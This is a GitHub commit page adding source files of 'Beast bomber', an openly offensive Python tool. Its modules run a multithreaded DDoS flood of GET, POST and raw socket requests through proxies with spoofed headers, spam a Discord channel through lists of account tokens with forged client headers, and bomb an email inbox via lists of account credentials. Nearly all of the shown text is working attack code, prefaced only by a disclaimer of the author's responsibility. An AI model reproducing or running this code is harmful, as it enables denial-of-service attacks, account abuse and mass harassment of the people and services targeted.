-
Notifications
You must be signed in to change notification settings - Fork 380
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
7 changed files
with
5,727 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
{ | ||
"language": "en" | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,91 @@ | ||
""" | ||
╔═════════════════════════════════════════════════════════════════════════════════╗ | ||
║ ║ | ||
║ Beast bomber ║ | ||
║ Author: ║ | ||
║ https://github.com/un1cum ║ | ||
║ ║ | ||
║ The author of this program is not responsible for its use! ║ | ||
║ When posting this code on other resources, please indicate the author! ║ | ||
║ ║ | ||
║ All rights reserved. ║ | ||
║ Copyright (C) 2023 un1cum ║ | ||
║ ║ | ||
╚═════════════════════════════════════════════════════════════════════════════════╝ | ||
""" | ||
import time | ||
import random | ||
import socket | ||
import struct | ||
from requests import * | ||
from threading import Thread | ||
from fake_useragent import UserAgent | ||
|
||
|
||
def start_ddos(threads, time_a, target, ports): | ||
for _ in range(threads): | ||
th = Thread(target=ddos_attack, args=(time_a, target, ports)) | ||
th.start() | ||
|
||
|
||
def ddos_attack(time_a, target, ports): | ||
t = time.monotonic() | ||
proxies = [] | ||
ua = UserAgent() | ||
|
||
with open('input/proxies.txt', 'r') as file: | ||
for line in file: | ||
proxies.append(line.replace('\n', '')) | ||
|
||
while time.monotonic() - t < time_a: | ||
try: | ||
user = ua.random | ||
port = random.choice(ports) | ||
fake_ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))) | ||
for proxy in proxies: | ||
proxy_2 = { | ||
"http": "http://" + proxy, | ||
"https": "https://" + proxy | ||
} | ||
lib = "1234567890qwertyuiop[]asdfghjkl;'zxcvbnm,./_" | ||
st = '' | ||
for _ in range(random.randint(10, 200)): | ||
st += random.choice(lib) | ||
header = {'user-agent': user} | ||
|
||
try: | ||
get(target, proxies=proxy_2) | ||
except: | ||
pass | ||
try: | ||
get(target, headers=header, proxies=proxy_2) | ||
except: | ||
pass | ||
try: | ||
post(target, data=st, headers=header, proxies=proxy_2) | ||
except: | ||
pass | ||
try: | ||
post(target, data=st, proxies=proxy_2) | ||
except: | ||
pass | ||
try: | ||
post(target, json=st, headers=header, proxies=proxy_2) | ||
except: | ||
pass | ||
try: | ||
post(target, json=st, proxies=proxy_2) | ||
except: | ||
pass | ||
|
||
try: | ||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
s.connect((target, port)) | ||
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) | ||
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port)) | ||
s.close() | ||
except: | ||
pass | ||
|
||
except: | ||
pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,161 @@ | ||
""" | ||
╔═════════════════════════════════════════════════════════════════════════════════╗ | ||
║ ║ | ||
║ Beast bomber ║ | ||
║ Author: ║ | ||
║ https://github.com/un1cum ║ | ||
║ ║ | ||
║ The author of this program is not responsible for its use! ║ | ||
║ When posting this code on other resources, please indicate the author! ║ | ||
║ ║ | ||
║ All rights reserved. ║ | ||
║ Copyright (C) 2023 un1cum ║ | ||
║ ║ | ||
╚═════════════════════════════════════════════════════════════════════════════════╝ | ||
""" | ||
import requests | ||
import base64 | ||
import httpagentparser | ||
import random | ||
import time | ||
from threading import Thread | ||
from fake_useragent import UserAgent | ||
from ua_parser import user_agent_parser | ||
|
||
|
||
def randstr(lenn): | ||
lib = "abcdefghijklmnopqrstuvwxyz0123456789" | ||
text = '' | ||
for i in range(0, lenn): | ||
text += lib[random.randint(0, len(lib) - 1)] | ||
return text | ||
|
||
|
||
def start_discord(threads, time_a, message, idd, proxy): | ||
if proxy == "no": | ||
for _ in range(threads): | ||
th = Thread(target=discord_attack1, args=(idd, time_a, message)) | ||
th.start() | ||
|
||
else: | ||
for _ in range(threads): | ||
th = Thread(target=discord_attack2, args=(idd, time_a, message)) | ||
th.start() | ||
|
||
|
||
def discord_attack1(idd, time_a, mes): | ||
t = time.monotonic() | ||
accounts = [] | ||
ua = UserAgent() | ||
|
||
with open('input/discord_accounts.txt', 'r') as file: | ||
for line in file: | ||
accounts.append(line.replace('\n', '')) | ||
|
||
while time.monotonic() - t < time_a: | ||
for acc in accounts: | ||
try: | ||
user = ua.random | ||
parsed_string = user_agent_parser.Parse(user) | ||
parsed_string2 = httpagentparser.detect(user) | ||
osv = str(parsed_string["user_agent"]["major"]) | ||
bv = str(parsed_string2["browser"]["version"]) | ||
|
||
string = '{' + f'"os":"Windows","browser":"Chrome","device":"","system_locale":"en-US","browser_user_agent":"user + f","browser_version":"{bv}","os_version":"{osv}","referrer":"https://www.google.com/","referring_domain":"www.google.com","search_engine":"google","referrer_current":"https://www.google.com/","referring_domain_current":"www.google.com","search_engine_current":"google","release_channel":"stable","client_build_number":169464,"client_event_source":null' + '}' | ||
cookie = f"__dcfduid={randstr(32)}; __sdcfduid={randstr(96)}; locale=ru; __cf_bm={randstr(189)}" | ||
|
||
message_bytes = string.encode('ascii') | ||
xsuper = str(base64.b64encode(message_bytes)).replace("b'", '') | ||
xsuper = xsuper.replace("'", '') | ||
|
||
header = { | ||
'accept': '*/*', | ||
'accept-encoding': 'gzip, deflate, br', | ||
'accept-language': 'en-US,en;q=0.9,ru;q=0.8', | ||
'authorization': acc, | ||
'content-length': str(26 + len(mes)), | ||
'content-type': 'application/json', | ||
'cookie': cookie, | ||
'dnt': '1', | ||
'origin': 'https://discord.com', | ||
'referer': f'https://discord.com/channels/@me/{idd}', | ||
'sec-fetch-dest': 'empty', | ||
'sec-fetch-mode': 'cors', | ||
'sec-fetch-site': 'same-origin', | ||
'user-agent': user, | ||
'x-debug-options': 'bugReporterEnabled', | ||
'x-discord-locale': 'en-US', | ||
'x-super-properties': xsuper | ||
} | ||
|
||
payload = {"content": mes, "tts": False} | ||
|
||
requests.post(f'https://discord.com/api/v9/channels/{idd}/messages', json=payload, headers=header) | ||
|
||
except: | ||
pass | ||
|
||
|
||
def discord_attack2(idd, time_a, mes): | ||
t = time.monotonic() | ||
proxies = [] | ||
accounts = [] | ||
ua = UserAgent() | ||
|
||
with open('input/proxies.txt', 'r') as file: | ||
for line in file: | ||
proxies.append(line.replace('\n', '')) | ||
|
||
with open('input/discord_accounts.txt', 'r') as file: | ||
for line in file: | ||
accounts.append(line.replace('\n', '')) | ||
|
||
while time.monotonic() - t < time_a: | ||
for acc in accounts: | ||
try: | ||
user = ua.random | ||
parsed_string = user_agent_parser.Parse(user) | ||
parsed_string2 = httpagentparser.detect(user) | ||
osv = str(parsed_string["user_agent"]["major"]) | ||
bv = str(parsed_string2["browser"]["version"]) | ||
|
||
proxy = random.choice(proxies) | ||
proxy_2 = { | ||
"http": "http://" + proxy, | ||
"https": "https://" + proxy | ||
} | ||
|
||
string = '{' + f'"os":"Windows","browser":"Chrome","device":"","system_locale":"en-US","browser_user_agent":"user + f","browser_version":"{bv}","os_version":"{osv}","referrer":"https://www.google.com/","referring_domain":"www.google.com","search_engine":"google","referrer_current":"https://www.google.com/","referring_domain_current":"www.google.com","search_engine_current":"google","release_channel":"stable","client_build_number":169464,"client_event_source":null' + '}' | ||
cookie = f"__dcfduid={randstr(32)}; __sdcfduid={randstr(96)}; locale=ru; __cf_bm={randstr(189)}" | ||
|
||
message_bytes = string.encode('ascii') | ||
xsuper = str(base64.b64encode(message_bytes)).replace("b'", '') | ||
xsuper = xsuper.replace("'", '') | ||
|
||
header = { | ||
'accept': '*/*', | ||
'accept-encoding': 'gzip, deflate, br', | ||
'accept-language': 'en-US,en;q=0.9,ru;q=0.8', | ||
'authorization': acc, | ||
'content-length': str(26+len(mes)), | ||
'content-type': 'application/json', | ||
'cookie': cookie, | ||
'dnt': '1', | ||
'origin': 'https://discord.com', | ||
'referer': f'https://discord.com/channels/@me/{idd}', | ||
'sec-fetch-dest': 'empty', | ||
'sec-fetch-mode': 'cors', | ||
'sec-fetch-site': 'same-origin', | ||
'user-agent': user, | ||
'x-debug-options': 'bugReporterEnabled', | ||
'x-discord-locale': 'en-US', | ||
'x-super-properties': xsuper | ||
} | ||
|
||
payload = {"content": mes, "tts": False} | ||
|
||
requests.post(f'https://discord.com/api/v9/channels/{idd}/messages', json=payload, headers=header, | ||
proxies=proxy_2) | ||
|
||
except: | ||
pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
""" | ||
╔═════════════════════════════════════════════════════════════════════════════════╗ | ||
║ ║ | ||
║ Beast bomber ║ | ||
║ Author: ║ | ||
║ https://github.com/un1cum ║ | ||
║ ║ | ||
║ The author of this program is not responsible for its use! ║ | ||
║ When posting this code on other resources, please indicate the author! ║ | ||
║ ║ | ||
║ All rights reserved. ║ | ||
║ Copyright (C) 2023 un1cum ║ | ||
║ ║ | ||
╚═════════════════════════════════════════════════════════════════════════════════╝ | ||
""" | ||
import smtplib | ||
import time | ||
import os | ||
from threading import Thread | ||
from email.utils import make_msgid | ||
from email.mime.text import MIMEText | ||
from email.mime.multipart import MIMEMultipart | ||
|
||
|
||
def email_start(threads, time_a, email, mes, subj): | ||
for _ in range(threads): | ||
th = Thread(target=email_attack, args=(email, time_a, mes, subj)) | ||
th.start() | ||
|
||
|
||
def email_attack(email, time_a, mes, subj): | ||
t = time.monotonic() | ||
emails = [] | ||
|
||
with open(os.path.abspath('input/email_accounts.txt'), 'r') as file: | ||
for line in file: | ||
emails.append(line.replace('\n', '')) | ||
|
||
while time.monotonic() - t < time_a: | ||
for em in emails: | ||
if em.find('@yahoo.com') != -1: | ||
smtp = 'smtp.mail.yahoo.com' | ||
elif em.find('@mail.ru') != -1: | ||
smtp = 'smtp.mail.ru' | ||
else: | ||
smtp = 'smtp.rambler.ru' | ||
|
||
line = em.split(':') | ||
from_email = line[0] | ||
from_pas = line[1] | ||
|
||
try: | ||
msg = MIMEMultipart() | ||
msg['Message-ID'] = make_msgid() | ||
msg['From'] = from_email | ||
msg['To'] = email | ||
msg['Subject'] = subj | ||
msg.attach(MIMEText(mes, 'plain')) | ||
|
||
server = smtplib.SMTP(smtp, 587) | ||
server.ehlo() | ||
server.starttls() | ||
server.ehlo() | ||
server.login(msg['From'], from_pas) | ||
server.sendmail(msg['From'], msg['To'], msg.as_string()) | ||
server.quit() | ||
except: | ||
pass |
Oops, something went wrong.